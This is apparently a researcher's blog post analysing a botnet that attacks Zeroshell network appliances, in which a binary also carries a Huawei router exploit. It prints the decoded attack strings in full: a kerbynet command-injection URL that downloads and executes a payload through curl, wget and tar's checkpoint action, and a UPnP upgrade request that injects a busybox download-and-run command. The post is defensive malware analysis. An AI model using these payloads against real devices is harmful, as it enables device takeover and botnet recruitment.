The Zeroshell botnet returns

Back in August, I discovered novel cyberattacks targeting network infrastructure. Now, four months later, another botnet is targeting these devices again.

My original report is here:

New attack

The previous version of the zeroshell malware would leave logs with this pattern:


Decoding the URL strings, we get:

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O;sh zero;"

This string causes the vulnerable system to download and execute a shell script named zero.

However, the new attack takes on a different form:


Once again decoding, we are left with:

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="wget -O /tmp/.keksec.x86;curl -O /tmp/.keksec.x86; chmod 777 /tmp/.keksec.x86; /tmp/.keksec.x86"'

There’s a few interesting differences here. First, rather than executing a shell script this strain downloads a binary file. Strangely, it appears to execute /etc/sudo which (to my knowledge) is neither an executable in *nix, nor does it exist. (On linux, the path is /usr/bin/sudo, or on BSD typically /usr/local/bin/sudo)

Using the --checkpoint-action flag in Gnu tar is also an interesting choice, one that doesn’t make sense to me.

Digging in

Unfortunately the C2 server for my strain was long dead. I did find some related samples on Hybrid-Analysis to look at, which I will be basing this on.

Full analysis here:

Inspecting the binary, we can see some interesting strings. We find the exploit URL inside, used to spread the malware to other devices - typical of a wormable exploit like this. We also find what appears to be another exploit:

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 484Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="%s", uri="/ctrlt/DeviceUpgrade_1", response="%s", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"<?xml version="1.0" ?><s:Envelope xmlns:s="" s:encodingStyle=""><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/.unstable -r /bins/keksec.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Based on some context it appears to be a script which replaces the firmware on Huawei home routers with one containing a backdoor or malware. Based on the number of Huawei devices out there compared to Zeroshell devices, this is very concerning.

Unfortunately, the server where this file originates has gone offline, so I can’t get a good sample of it.

Searching for local IoT devices

Another interesting string in this sample is this socket address:

 M-SEARCH * HTTP/1.1Host:"ssdp:discover"MX:3 

This is rather interesting (and concerning) since that particular address belongs to the family of well-known multicast addresses used for Simple Service Discovery Protocol or SSDP.

The likely reason for this inclusion is that once the malware infects a router, it will participate in SSDP with other local devices to find other victims. It may even be able to propagate its trojan to certain devices, though I did not find evidence of this capability in the sample.

Something weird…

A common theme with these semi-broken botnets is that they often contain a bunch of nonsense. In the previous version there was a YouTube link contained in the binary.

This malware contains: runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol 

This points to the possible reason for this botnet, as dissapointing as it is - a booter for an RPG game.

So, as always, the lesson here is simple - patch your network devices, or they will be used to DDoS RPG gamers. Love it or hate it, this is just the reality of the internet today.